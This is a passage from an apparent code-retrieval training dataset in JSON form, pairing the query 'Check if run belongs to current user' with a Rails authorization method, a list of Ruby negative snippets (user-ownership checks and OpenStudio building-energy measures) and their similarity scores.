"def _pid_file_exists?\n File.exist?(_pid_filename) \n end",
"def executable?() end",
"def exist?\n File.exist?(output)\n end",
"def ensure_exists(sketch)\n puts \"Couldn't find: #{sketch}\" and exit unless FileTest.exist?(sketch)\n end",
"def running?\n status == 'running'\n end"
] |
[
"0.69411874",
"0.6762034",
"0.6761944",
"0.6740095",
"0.66968775",
"0.6564842",
"0.6489842",
"0.6417676",
"0.6411314",
"0.6394912",
"0.6367646",
"0.63660246",
"0.63403803",
"0.6293206",
"0.6248377",
"0.62458926",
"0.622151",
"0.6219524",
"0.6213947",
"0.62089306",
"0.62089306",
"0.62089306",
"0.6199142",
"0.6184438",
"0.6164443",
"0.61537063",
"0.6120164",
"0.61071134",
"0.6104009",
"0.60996217",
"0.60996217",
"0.6099478",
"0.6096203",
"0.609159",
"0.6090659",
"0.6077352",
"0.60755557",
"0.6072548",
"0.6059744",
"0.6052482",
"0.6049678",
"0.6049678",
"0.6049678",
"0.6049678",
"0.6049678",
"0.6047848",
"0.60420036",
"0.6033013",
"0.60287344",
"0.600679",
"0.59892976",
"0.5983341",
"0.5983341",
"0.5963487",
"0.5963373",
"0.5943908",
"0.5940621",
"0.59267515",
"0.5923791",
"0.59189945",
"0.5914564",
"0.59034836",
"0.59030855",
"0.59030855",
"0.5900722",
"0.58976954",
"0.58903307",
"0.58823466",
"0.5870574",
"0.5847012",
"0.58398384",
"0.58377296",
"0.5835829",
"0.5831571",
"0.58294815",
"0.5816792",
"0.5810542",
"0.5810084",
"0.5795314",
"0.5794145",
"0.57932824",
"0.57820356",
"0.577324",
"0.5772291",
"0.5745813",
"0.5743638",
"0.57375944",
"0.5736896",
"0.57352054",
"0.572273",
"0.5722004",
"0.57209575",
"0.57152253",
"0.57118684",
"0.57069105",
"0.5703976",
"0.57007897",
"0.5692421",
"0.5686056",
"0.56792575",
"0.5676356"
] |
0.0
|
-1
|
Check if run belongs to current user
|
def authenticate_correct_user
redirect_unauthorized unless current_user? @run.user_id
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run_as_user\n @run_as_user\n end",
"def mine?\n user && user.username == Codeplane.username\n end",
"def current?(user)\n Process.uid == Etc.getpwnam(user).uid\n rescue\n false\n end",
"def check_if_current_user\r\n User.current_user && User.current_user != self\r\n end",
"def is_this_user\n\t\t@user.id == current_user.id\n\tend",
"def user?\n get_mode == :user\n end",
"def system?\n id == User::SYSTEM_USER_ID\n end",
"def system?\n id == User::SYSTEM_USER_ID\n end",
"def current_user?(call_node)\n call_node.message == :current_user || (call_node.subject.message == :current_user && call_node.message == :id)\n end",
"def routine_owner\n record.user == user\n end",
"def managed_by? a_user\n program.owned_by? a_user\n end",
"def correct_runas_user?\n splunk = shell_out(\"ps -ef|grep splunk|grep -v grep|awk '{print$1}'|uniq\")\n splunk_runas_user == splunk.stdout\nend",
"def check_me\n isme = false\n vm = nil\n\n if @uri\n vm = @uri.vm\n elsif params[:uri][:vm]\n vm = Vm.find(params[:uri][:vm])\n else\n return false\n end\n\n if @user.lead?\n isme = @user.projects.any? { |project| project.id == vm.project.id }\n else\n isme = (@user.id == vm.user.id)\n end\n\n raise Exceptions::NextDeployException.new(\"Access forbidden for this user\") unless isme\n end",
"def is_owner?(this_user)\n user == this_user\n end",
"def current_user\n scope == object\n end",
"def check_owner_user\n @guild = Guild.find(@invite[:guild_id])\n if self.admin?\n return 1\n end\n return (@guild[:owner_id] == session[:user_id]) ? 1 : nil\n end",
"def allows_current_user_access_to?(_perform, _with_options = nil)\n return true unless master_user\n end",
"def running_as_normaluser?\n Kitchenplan::Log.debug \"#{self.class} : Running as normal user? UID = #{Process.uid} != 0?\"\n Process.uid != 0\n end",
"def current_user\n !session[:uid].nil?\n end",
"def has_user?(name, options={})\n run(\"id #{name}\").success?\n end",
"def is_current_user(user)\n logged_in? && @current_user.id == user.id\n end",
"def check_work_user\n owner = Work.friendly.find(params[:id]).user\n unless owner == current_user || current_user.is_admin?\n store_location\n flash[:error] = 'You are not authorized to perform this action.'\n redirect_to login_path\n end\n end",
"def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end",
"def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end",
"def editable_by?(usr)\n (usr == user && usr.allowed_to?(:edit_own_time_entries, project)) || usr.allowed_to?(:edit_time_entries, project)\n end",
"def is_potential_user?\n\t\ttrue\n\tend",
"def owner_user_in_db?\n Woodlock::User.find_by(github_username: @project.github_owner) ? true : false\n end",
"def user?(name)\n eval(USER_CHECK, binding, __FILE__, USER_CHECK_LINE)\n nil\nend",
"def owned_by?(current_user)\n current_user && user_id == current_user.id\n end",
"def owner?(current_user)\n current_user && (self.user == current_user || current_user.has_role?(:refinery))\n end",
"def is_current_user(user)\n if current_user\n current_user.id == user.id\n else\n false\n end\n end",
"def check_current_user_owns\n head :not_found unless @user == current_user\n end",
"def owned?(user_to_check = current_user)\n user_to_check ? self.creator == user_to_check : false\n end",
"def current?\n id.to_s.downcase == self.class.current_user_id\n end",
"def owned?\n user.present?\n end",
"def running_as_normaluser?\n\tKitchenplan::Log.debug \"#{self.class} : Running as superuser? UID = #{Process.uid} != 0?\"\n\tProcess.uid != 0\n end",
"def running_as_normaluser?\n\tKitchenplan::Log.debug \"#{self.class} : Running as superuser? UID = #{Process.uid} != 0?\"\n\tProcess.uid != 0\n end",
"def owner?(current_user)\n user == current_user\n end",
"def current_user?(user)\r\n user == current_user\r\n end",
"def owner? usr\n user_id == usr.id\n end",
"def is_current_user?\n current_account.id.eql?(object.user.id)\n end",
"def has_access(developer)\r\n current_user.id == developer.id\r\n end",
"def current_user?(user)\n\t\tuser == self.current_user\n\t\t\n\tend",
"def current_user? user\n if user == nil\n false\n elsif self.username == user.username\n true\n elsif\n false\n end\n end",
"def current_user?\n \n end",
"def in_test_or_root_user\n if !current_user.sk.root?\n in_test\n end\n end",
"def check_user\n if self.admin?\n return 1\n end\n return (session[:user_id] && User.find(session[:user_id])) ? 1 : nil\n end",
"def current_user? user\n \tuser == self.current_user\n end",
"def current_user?(user)\n user == current_user\n end",
"def current_user?(user)\n user == current_user\n end",
"def current_user?(user)\n user == current_user\n end",
"def current_user?(user)\n user == current_user\n end",
"def current_user?(user)\n user == current_user\n end",
"def current_user?(user)\n user == current_user\n end",
"def current_user?(user)\n user == current_user\n end",
"def show\n @run = current_user.runs.find(params[:id])\n end",
"def current_user?(user)\n\t\tcurrent_user == user\n\tend",
"def current_user?(user)\n \t\tuser == current_user\n \tend",
"def current_user?(user)\n\t\tuser == current_user\n\tend",
"def current_user?(user)\n\t\tuser == current_user\n\tend",
"def current_user?(user)\n\t\tuser == current_user\n\tend",
"def current_user?(user)\n\t\tuser == current_user\n\tend",
"def current_user?(user)\n\t\tuser == current_user\n\tend",
"def current_user?(user)\n\t\tuser == current_user\n\tend",
"def current_user?(user)\n\t\tuser == current_user\n\tend",
"def current_user?(user)\n\t\tuser == current_user\n\tend",
"def current_user?(user)\n\t\tuser == current_user\n\tend",
"def current_user?(user)\n\t\tuser == current_user\n\tend",
"def current_user?(user)\n\t\tuser == current_user\n\tend",
"def current_user?(user)\n \t\tuser == current_user\n \tend",
"def current_user?(user)\n user == current_user\n end",
"def canBeExecutedBy? user\n unless user.class == Modeles::User\n username = user.to_s\n user = Modeles::User.find_by_name username\n unless user\n @errors << \"User #{username} doesn't exists\"\n return false\n end\n end\n if user.isAdmin == 1\n return true\n elsif user.name == @user\n if @userRights == 1 or @userRights == 5 or @userRights == 7\n return true\n else\n return false\n end\n elsif isIncludedIn? user.groups, @group\n if @groupRights == 1 or @groupRights == 5 or @groupRights == 7\n return true\n else\n return false\n end\n else\n if @othersRights == 1 or @othersRights == 5 or @othersRights == 7\n return true\n else\n return false\n end\n end\n end",
"def check_correct_user(user)\n \tcurrent_user?(user)\n end",
"def is_current_user(user)\n if user == current_user\n return true\n else\n return false\n end\n end",
"def current_user?(user)\n current_user == user\n end",
"def current_user?(user)\n current_user == user\n end",
"def current_user?(user)\n current_user == user\n end",
"def current_user?(user)\n current_user == user\n end",
"def current_user?(user)\n current_user == user\n end",
"def current_user?(user)\n current_user == user\n end",
"def current_user?(user)\n current_user == user\n end",
"def current_user?(user)\n current_user == user\n end",
"def is_owner_of?(thing)\n return false unless thing.user == self\n true\n end",
"def object_owner?\n User.find(params[:user_id]) == current_user\n end",
"def current_user?(user)\n user && user == current_user\n end",
"def current_user?(user)\n user == current_person.user\n end",
"def viewer?(current_user)\n return false unless current_user\n\n viewers.where(id: current_user).count == 1\n end",
"def temp_work_complete?\n user.id == @task_work_offer.task.user.id\n end",
"def is_user_specific?\n false\n end",
"def current_user?\n return session[:user_id] != nil\n end",
"def logged_in?\n !curr_worker_id.nil?\n end",
"def current_user?(user)\n \tuser == current_user\n \tend",
"def current_user?(user)\n \tuser == current_user\n \tend",
"def run_valid_user?\n\t\t\tif v.valid_user?(ev.user, ev.user_groups, \"railsdep\")\n\t\t\t\t$stdout.puts Rainbow(\"Success: '#{ev.user}' is member of 'railsdep' group\").green\n\t\t\telse\n\t\t\t\texit 1\n\t\t\tend\n\t\tend",
"def current_user?(user)\n (user == self.current_user) || admin?\n end",
"def executing_user_command?\n @executing_user_command\n end",
"def current?\n self == User.current\n end",
"def owner?(project)\n if id == project.user.id\n true\n else\n false\n end\n end",
"def current_user?(user)\n user == current_user\n end",
"def current_user?(user)\n user == current_user\n end"
] |
[
"0.71932",
"0.7009558",
"0.69457126",
"0.68529034",
"0.68505514",
"0.68221825",
"0.6819712",
"0.6819712",
"0.67402774",
"0.67269695",
"0.6722941",
"0.6721632",
"0.67028195",
"0.6685449",
"0.6668778",
"0.6666271",
"0.6664473",
"0.6634006",
"0.6623682",
"0.66184974",
"0.6595877",
"0.65918285",
"0.6576108",
"0.6576108",
"0.6576108",
"0.65525174",
"0.64998806",
"0.6490523",
"0.64813894",
"0.6480178",
"0.64753115",
"0.64715177",
"0.64580244",
"0.6456636",
"0.6450979",
"0.64482856",
"0.64482856",
"0.64431715",
"0.64398164",
"0.6423489",
"0.6422055",
"0.64137655",
"0.6411568",
"0.6411167",
"0.64105046",
"0.6409956",
"0.6409416",
"0.6406622",
"0.64037085",
"0.64037085",
"0.64037085",
"0.64037085",
"0.64037085",
"0.64037085",
"0.64037085",
"0.639386",
"0.6390319",
"0.6389019",
"0.6384839",
"0.6384839",
"0.6384839",
"0.6384839",
"0.6384839",
"0.6384839",
"0.6384839",
"0.6384839",
"0.6384839",
"0.6384839",
"0.63847953",
"0.63811105",
"0.63778317",
"0.6367936",
"0.6364369",
"0.6355555",
"0.63527215",
"0.63527215",
"0.63527215",
"0.63527215",
"0.63527215",
"0.63527215",
"0.63527215",
"0.63527215",
"0.6347805",
"0.6347125",
"0.6345695",
"0.6343302",
"0.63424903",
"0.63421243",
"0.6340573",
"0.63292116",
"0.6323412",
"0.6317781",
"0.6317781",
"0.63127387",
"0.6309192",
"0.63084817",
"0.6305344",
"0.6303331",
"0.62988603",
"0.6298647"
] |
0.63702464
|
71
|
Allowed parameter for Run model
|
def run_params
params.require(:run).permit(:distance, :duration, :date)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run_params\n params.require(:run).permit(policy(@run || Run).permitted_attributes)\n end",
"def run_params\n params.fetch(:run, {}).permit(:task_name, :batch_size, :embedding_dim, :memory_dim,\n :num_layers, :epochs, :rnn_cell, :ckpt_every,\n :correct_pairs, :mux_network, :output, :target)\n end",
"def run_params\n params.require(:run).permit(policy(@run || Run).permitted_attributes)\n # params.require(:run).permit(:date, :duration, :distance, :avg_speed, :user_id)\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n unless runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n construction = runner.getOptionalWorkspaceObjectChoiceValue('construction', user_arguments, model) # model is passed in because of argument type\n r_value_multplier = runner.getDoubleArgumentValue('r_value_multplier', user_arguments)\n check_multiplier(runner, r_value_multplier)\n # check the construction for reasonableness\n if construction.empty?\n handle = runner.getStringArgumentValue('construction', user_arguments)\n if handle.empty?\n runner.registerError('No construction was chosen.')\n else\n runner.registerError(\"The selected construction with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !construction.get.to_Construction.empty?\n construction = construction.get.to_Construction.get\n else\n runner.registerError('Script Error - argument not showing up as construction.')\n return false\n end\n end # end of if construction.empty?\n\n # set limit for minimum insulation. This is used to limit input and for inferring insulation layer in construction.\n min_expected_r_value_multplier_ip = 1 # ip units\n\n # report initial condition\n initial_r_value_ip = OpenStudio.convert(1.0 / construction.thermalConductance.to_f, 'm^2*K/W', 'ft^2*h*R/Btu')\n runner.registerInitialCondition(\"The Initial R-value of #{construction.name} is #{initial_r_value_ip} (ft^2*h*R/Btu).\")\n runner.registerValue('initial_r_value_ip', initial_r_value_ip.to_f, 'ft^2*h*R/Btu')\n\n # TODO: - find and test insulation\n construction_layers = construction.layers\n max_thermal_resistance_material = construction_layers[0]\n max_thermal_resistance_material_index = 0\n counter = 0\n thermal_resistance_values = []\n\n # loop through construction layers and infer insulation layer/material\n construction_layers.each do |construction_layer|\n construction_layer_r_value = construction_layer.to_OpaqueMaterial.get.thermalResistance\n unless thermal_resistance_values.empty?\n if construction_layer_r_value > thermal_resistance_values.max\n max_thermal_resistance_material = construction_layer\n max_thermal_resistance_material_index = counter\n end\n end\n thermal_resistance_values << construction_layer_r_value\n counter += 1\n end\n if thermal_resistance_values.max <= OpenStudio.convert(min_expected_r_value_multplier_ip, 'ft^2*h*R/Btu', 'm^2*K/W').get\n runner.registerAsNotApplicable(\"Construction '#{construction.name}' does not appear to have an insulation layer and was not altered.\")\n return true\n end\n\n # clone insulation material\n new_material = max_thermal_resistance_material.clone(model)\n new_material = new_material.to_OpaqueMaterial.get\n new_material.setName(\"#{max_thermal_resistance_material.name} (R #{r_value_multplier.round(2)}x Multiplier)\") if r_value_multplier != 1\n construction.eraseLayer(max_thermal_resistance_material_index)\n construction.insertLayer(max_thermal_resistance_material_index, new_material)\n runner.registerInfo(\"For construction'#{construction.name}', '#{max_thermal_resistance_material.name}' was altered.\")\n\n # edit clone material\n new_material_matt = new_material.to_Material\n unless new_material_matt.empty?\n starting_thickness = new_material_matt.get.thickness\n target_thickness = starting_thickness * r_value_multplier\n final_thickness = new_material_matt.get.setThickness(target_thickness)\n end\n new_material_massless = new_material.to_MasslessOpaqueMaterial\n unless new_material_massless.empty?\n starting_thermal_resistance = new_material_massless.get.thermalResistance\n final_thermal_resistance = new_material_massless.get.setThermalResistance(starting_thermal_resistance * r_value_multplier)\n end\n new_material_airgap = new_material.to_AirGap\n unless new_material_airgap.empty?\n starting_thermal_resistance = new_material_airgap.get.thermalResistance\n final_thermal_resistance = new_material_airgap.get.setThermalResistance(starting_thermal_resistance * r_value_multplier)\n end\n\n # report initial condition\n final_r_value_ip = OpenStudio.convert(1 / construction.thermalConductance.to_f, 'm^2*K/W', 'ft^2*h*R/Btu')\n runner.registerFinalCondition(\"The Final R-value of #{construction.name} is #{final_r_value_ip} (ft^2*h*R/Btu).\")\n runner.registerValue('final_r_value_ip', final_r_value_ip.to_f, 'ft^2*h*R/Btu')\n true\n end",
"def run(model, runner, user_arguments)\n\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign user inputs to variables and convert to SI units for simulation\n string = runner.getStringArgumentValue(\"string\", user_arguments)\n # ptac\n ptac_oa_clg = runner.getDoubleArgumentValue(\"ptac_oa_clg\", user_arguments)\n ptac_oa_clg_si = OpenStudio.convert(ptac_oa_clg, \"ft^3/min\", \"m^3/s\").get\n ptac_oa_htg = runner.getDoubleArgumentValue(\"ptac_oa_htg\", user_arguments)\n ptac_oa_htg_si = OpenStudio.convert(ptac_oa_htg, \"ft^3/min\", \"m^3/s\").get\n ptac_oa_no_clg_or_htg = runner.getDoubleArgumentValue(\"ptac_oa_no_clg_or_htg\", user_arguments)\n ptac_oa_no_clg_or_htg_si = OpenStudio.convert(ptac_oa_no_clg_or_htg, \"ft^3/min\", \"m^3/s\").get\n' if sched.is_initialized\n sched = runner.getOptionalWorkspaceObjectChoiceValue(\"sched\", user_arguments, model) #model is passed in because of argument type\n sched = sched.get.to_Schedule.get\n end\n' # fan\n fan_eff_tot = runner.getDoubleArgumentValue(\"fan_eff_tot\", user_arguments)\n fan_flow = runner.getDoubleArgumentValue(\"fan_flow\", user_arguments)\n fan_flow_si = OpenStudio.convert(fan_flow, \"ft^3/min\", \"m^3/s\").get\n fan_rise = runner.getDoubleArgumentValue(\"fan_rise\", user_arguments)\n fan_rise_si = OpenStudio.convert(fan_rise, \"inH_{2}O\", \"Pa\").get\n fan_eff_mot = runner.getDoubleArgumentValue(\"fan_eff_mot\", user_arguments)\n # htg coil\n hc_ewt = runner.getDoubleArgumentValue(\"hc_ewt\", user_arguments)\n hc_ewt_si = OpenStudio.convert(hc_ewt, \"F\", \"C\").get\n hc_eat = runner.getDoubleArgumentValue(\"hc_eat\", user_arguments)\n hc_eat_si = OpenStudio.convert(hc_eat, \"F\", \"C\").get\n hc_lwt = runner.getDoubleArgumentValue(\"hc_lwt\", user_arguments)\n hc_lwt_si = OpenStudio.convert(hc_lwt, \"F\", \"C\").get\n hc_lat = runner.getDoubleArgumentValue(\"hc_lat\", user_arguments)\n hc_lat_si = OpenStudio.convert(hc_lat, \"F\", \"C\").get\n # clg coil\n cc_cap = runner.getDoubleArgumentValue(\"cc_cap\", user_arguments)\n cc_cap_si = OpenStudio.convert(cc_cap, \"Btu/h\", \"W\").get\n cc_shr = runner.getDoubleArgumentValue(\"cc_shr\", user_arguments)\n cc_cop = runner.getDoubleArgumentValue(\"cc_cop\", user_arguments)\n cc_flow = runner.getDoubleArgumentValue(\"cc_flow\", user_arguments)\n cc_flow_si = OpenStudio.convert(cc_flow, \"ft^3/min\", \"m^3/s\").get\n\n # get model objects\n ptacs = model.getZoneHVACPackagedTerminalAirConditioners\n fans = model.getFanConstantVolumes #as of version 1.5.0 PTACs are limited to CAV fans which are automatically created\n htg_coils = model.getCoilHeatingWaters\n clg_coils = model.getCoilCoolingDXSingleSpeeds\n\n # report initial conditions\n runner.registerInitialCondition(\"Number of PTACs in the model = #{ptacs.size}\")\n runner.registerInfo(\"String = #{string}\")\n# runner.registerInfo(\"Schedule = #{sched}\")\n\n # initialize reporting variables\n n_ptacs = 0\n error = false\n\n # MAIN BLOCK\n\n ptacs.each do |ptac|\n\n if ptac.name.to_s.include? string or string == \"*.*\" #couldn't use && here, ## ptac.name.to_s.include? \"Hilton\" and\n\n runner.registerInfo(\"Setting fields for: #{ptac.name}\")\n\n # get components\n fan = ptac.supplyAirFan.to_FanConstantVolume.get\n htg_coil = ptac.heatingCoil.to_CoilHeatingWater.get\n clg_coil = ptac.coolingCoil.to_CoilCoolingDXSingleSpeed.get\n\n # set PTAC fields\n if ptac_oa_clg > 0\n ptac.setOutdoorAirFlowRateDuringCoolingOperation(ptac_oa_clg_si)\n end\n if ptac_oa_htg > 0\n ptac.setOutdoorAirFlowRateDuringHeatingOperation(ptac_oa_htg_si)\n end\n if ptac_oa_no_clg_or_htg > 0\n ptac.setOutdoorAirFlowRateWhenNoCoolingorHeatingisNeeded(ptac_oa_no_clg_or_htg_si)\n end\n' if sched != \"#\"\n ptac.setSupplyAirFanOperatingModeSchedule(sched)\n end\n'\n # set fan fields\n if fan_eff_tot > 0\n fan.setFanEfficiency(fan_eff_tot)\n end\n if fan_rise_si > 0\n fan.setPressureRise(fan_rise_si)\n end\n if fan_flow_si > 0\n fan.setMaximumFlowRate(fan_flow_si)\n end\n if fan_eff_mot > 0\n fan.setMotorEfficiency(fan_eff_mot)\n end\n\n # set htg coil fields\n if hc_ewt_si > 0\n htg_coil.setRatedInletWaterTemperature(hc_ewt_si)\n end\n if hc_eat_si > 0\n htg_coil.setRatedInletAirTemperature(hc_eat_si)\n end\n if hc_lwt_si > 0\n htg_coil.setRatedOutletWaterTemperature(hc_lwt_si)\n end\n if hc_lat_si > 0\n htg_coil.setRatedOutletAirTemperature(hc_lat_si)\n end\n\n # set clg coil fields\n if cc_cap > 0\n clg_coil.setRatedTotalCoolingCapacity(cc_cap_si)\n end\n if cc_shr > 0\n clg_coil.setRatedSensibleHeatRatio(cc_shr)\n end\n if cc_cop > 0\n optionalDouble = OpenStudio::OptionalDouble.new(cc_cop)\n clg_coil.setRatedCOP(optionalDouble)\n end\n if cc_flow > 0\n clg_coil.setRatedAirFlowRate(cc_flow_si)\n end\n\n n_ptacs += 1\n\n else\n\n error = true\n\n end\n\n end\n\n # report error\n if error == true\n runner.registerError(\"String not found.\")\n end\n\n # report final conditions\n runner.registerFinalCondition(\"Number of PTACs changed = #{n_ptacs}\")\n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n unless runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n construction = runner.getOptionalWorkspaceObjectChoiceValue('construction', user_arguments, model) # model is passed in because of argument type\n thermal_absorptance = runner.getDoubleArgumentValue('thermal_absorptance', user_arguments)\n solar_absorptance = runner.getDoubleArgumentValue('solar_absorptance', user_arguments)\n visible_absorptance = runner.getDoubleArgumentValue('visible_absorptance', user_arguments)\n thermal_conductivity = runner.getDoubleArgumentValue('thermal_conductivity', user_arguments)\n specific_heat = runner.getDoubleArgumentValue('specific_heat', user_arguments)\n thickness = runner.getDoubleArgumentValue('thickness', user_arguments)\n density = runner.getDoubleArgumentValue('density', user_arguments)\n\n # check the construction for reasonableness\n if construction.empty?\n handle = runner.getStringArgumentValue('construction', user_arguments)\n if handle.empty?\n runner.registerError('No construction was chosen.')\n else\n runner.registerError(\"The selected construction with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !construction.get.to_Construction.empty?\n construction = construction.get.to_Construction.get\n else\n runner.registerError('Script Error - argument not showing up as construction.')\n return false\n end\n end # end of if construction.empty?\n\n initial_r_value_ip = OpenStudio.convert(1.0 / construction.thermalConductance.to_f, 'm^2*K/W', 'ft^2*h*R/Btu')\n runner.registerInitialCondition(\"The Initial R-value of #{construction.name} is #{initial_r_value_ip} (ft^2*h*R/Btu).\")\n runner.registerValue('initial_r_value_ip', initial_r_value_ip.to_f, 'ft^2*h*R/Btu')\n # get layers\n layers = construction.layers\n\n # steel layer is always first layer\n layer = layers[0].to_StandardOpaqueMaterial.get\n runner.registerInfo(\"Initial thermal_absorptance: #{layer.thermalAbsorptance}\")\n runner.registerInfo(\"Initial solar_absorptance: #{layer.solarAbsorptance}\")\n runner.registerInfo(\"Initial visible_absorptance: #{layer.visibleAbsorptance}\")\n runner.registerInfo(\"Initial thermal_conductivity: #{layer.thermalConductivity}\")\n runner.registerInfo(\"Initial specific_heat: #{layer.specificHeat}\")\n runner.registerInfo(\"Initial thickness: #{layer.thickness}\")\n runner.registerInfo(\"Initial density: #{layer.density}\")\n\n # set layer properties\n layer.setThermalAbsorptance(thermal_absorptance) if thermal_absorptance != 0\n layer.setSolarAbsorptance(solar_absorptance) if solar_absorptance != 0\n layer.setVisibleAbsorptance(visible_absorptance) if visible_absorptance != 0\n layer.setThermalConductivity(thermal_conductivity) if thermal_conductivity != 0\n layer.setSpecificHeat(specific_heat) if specific_heat != 0\n layer.setThickness(thickness) if thickness != 0\n layer.setDensity(density) if density != 0\n\n runner.registerInfo(\"Final thermal_absorptance: #{layer.thermalAbsorptance}\")\n runner.registerInfo(\"Final solar_absorptance: #{layer.solarAbsorptance}\")\n runner.registerInfo(\"Final visible_absorptance: #{layer.visibleAbsorptance}\")\n runner.registerInfo(\"Final thermal_conductivity: #{layer.thermalConductivity}\")\n runner.registerInfo(\"Final specific_heat: #{layer.specificHeat}\")\n runner.registerInfo(\"Final thickness: #{layer.thickness}\")\n runner.registerInfo(\"Final density: #{layer.density}\")\n\n # report initial condition\n final_r_value_ip = OpenStudio.convert(1 / construction.thermalConductance.to_f, 'm^2*K/W', 'ft^2*h*R/Btu')\n runner.registerFinalCondition(\"The Final R-value of #{construction.name} is #{final_r_value_ip} (ft^2*h*R/Btu).\")\n runner.registerValue('final_r_value_ip', final_r_value_ip.to_f, 'ft^2*h*R/Btu')\n\n true\n end",
"def run_params\n params.require(:run).permit(:name, :completed_run, :planned_mileage, :mileage_total, :start_time, :pace_minutes, :pace_seconds, :hours, :minutes, :seconds, :elevation_gain, :city, :notes, :personal_best, :shoe_id, :state_id, :country_id, :run_type_id)\n end",
"def run(model, runner, user_arguments)\r\n super(model, runner, user_arguments)\r\n \r\n #use the built-in error checking \r\n if not runner.validateUserArguments(arguments(model), user_arguments)\r\n return false\r\n end\r\n\r\n #assign the user inputs to variables\r\n infiltrationEnvelope = runner.getStringArgumentValue(\"infiltrationEnvelope\",user_arguments)\r\n infiltrationOccupant = runner.getStringArgumentValue(\"infiltrationOccupant\",user_arguments)\r\n story = runner.getOptionalWorkspaceObjectChoiceValue(\"story\",user_arguments,model) #model is passed in because of argument type\r\n num_entries = runner.getIntegerArgumentValue(\"num_entries\",user_arguments)\r\n doorOpeningEventsPerPerson = runner.getDoubleArgumentValue(\"doorOpeningEventsPerPerson\",user_arguments)\r\n pressureDifferenceAcrossDoor_pa = runner.getDoubleArgumentValue(\"pressureDifferenceAcrossDoor_pa\",user_arguments)\r\n costTotalEnvelopeInfiltration = runner.getDoubleArgumentValue(\"costTotalEnvelopeInfiltration\",user_arguments)\r\n costTotalEntryInfiltration = runner.getDoubleArgumentValue(\"costTotalEntryInfiltration\",user_arguments)\r\n\r\n # check that story exists in model\r\n modelObjectCheck = OsLib_HelperMethods.checkChoiceArgFromModelObjects(story, \"story\",\"to_BuildingStory\", runner, user_arguments)\r\n\r\n if modelObjectCheck == false\r\n return false\r\n else\r\n story = modelObjectCheck[\"modelObject\"]\r\n apply_to_building = modelObjectCheck[\"apply_to_building\"]\r\n end\r\n\r\n # make hash of argument display name and value #todo - would be better to get these directly from the display name\r\n argumentHash = {\r\n \"number of entries\" => num_entries,\r\n \"door opening events per person\" => doorOpeningEventsPerPerson,\r\n }\r\n #check arguments for reasonableness (runner, min, max, argumentArray)\r\n checkDoubleArguments = OsLib_HelperMethods.checkDoubleArguments(runner,0,nil,argumentHash)\r\n if not checkDoubleArguments\r\n return false\r\n end\r\n\r\n # global variables for costs\r\n expected_life = 25\r\n years_until_costs_start = 0\r\n\r\n #reporting initial condition of model\r\n space_infiltration_objects = model.getSpaceInfiltrationDesignFlowRates\r\n if space_infiltration_objects.size > 0\r\n runner.registerInitialCondition(\"The initial model contained #{space_infiltration_objects.size} space infiltration objects.\")\r\n else\r\n runner.registerInitialCondition(\"The initial model did not contain any space infiltration objects.\")\r\n end\r\n\r\n # erase existing infiltration objects used in the model, but save most commonly used schedule\r\n # todo - would be nice to preserve attic space infiltration. There are a number of possible solutions for this\r\n removedInfiltration = OsLib_OutdoorAirAndInfiltration.eraseInfiltrationUsedInModel(model,runner)\r\n\r\n # find most common hard assigned from removed infiltration objects\r\n if removedInfiltration.size > 0\r\n defaultSchedule = removedInfiltration[0][0] # not sure why this is array vs. hash. I wanted to use removedInfiltration.keys[0]\r\n else\r\n defaultSchedule = nil\r\n end\r\n\r\n # get desired envelope infiltration area\r\n if infiltrationEnvelope == \"AEDG K-12 - Baseline\"\r\n targetFlowPerExteriorArea = 0.0003048 #0.06 cfm/ft^2\r\n else\r\n targetFlowPerExteriorArea = 0.000254 #0.05 cfm/ft^2\r\n end\r\n\r\n # hash to pass into infiltration method\r\n options_OsLib_OutdoorAirAndInfiltration_envelope = {\r\n \"nameSuffix\" => \" - envelope infiltration\", # add this to object name for infiltration\r\n \"defaultBuildingSchedule\" => defaultSchedule, # this will set schedule set for selected object\r\n \"setCalculationMethod\" => \"setFlowperExteriorSurfaceArea\",\r\n \"valueForSelectedCalcMethod\" => targetFlowPerExteriorArea,\r\n }\r\n # add in new envelope infiltration to all spaces in the model\r\n newInfiltrationPerExteriorSurfaceArea = OsLib_OutdoorAirAndInfiltration.addSpaceInfiltrationDesignFlowRate(model,runner,model.getBuilding, options_OsLib_OutdoorAirAndInfiltration_envelope)\r\n targetFlowPerExteriorArea_ip = OpenStudio::convert(targetFlowPerExteriorArea,\"m/s\",\"ft/min\").get\r\n runner.registerInfo(\"Adding infiltration object to all spaces in model with value of #{OpenStudio::toNeatString(targetFlowPerExteriorArea_ip,2,true)} (cfm/ft^2) of exterior surface area.\")\r\n\r\n # create lifecycle costs for floors\r\n envelopeImprovementTotalCost = 0\r\n totalArea = model.building.get.exteriorSurfaceArea\r\n newInfiltrationPerExteriorSurfaceArea.each do |infiltrationObject|\r\n spaceType = infiltrationObject.spaceType.get\r\n areaForEnvelopeInfiltration_si = OsLib_HelperMethods.getAreaOfSpacesInArray(model,spaceType.spaces,\"exteriorArea\")[\"totalArea\"]\r\n fractionOfTotal = areaForEnvelopeInfiltration_si/totalArea\r\n lcc_mat = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"#{spaceType.name} - Entry Infiltration Cost\", model.getBuilding, fractionOfTotal*costTotalEnvelopeInfiltration, \"CostPerEach\", \"Construction\", expected_life, years_until_costs_start)\r\n envelopeImprovementTotalCost += lcc_mat.get.totalCost\r\n end\r\n\r\n # get model climate zone and size and set defaultVestibule flag\r\n vestibuleFlag = false\r\n\r\n # check if vestibule should be used\r\n if infiltrationOccupant == \"Don't model 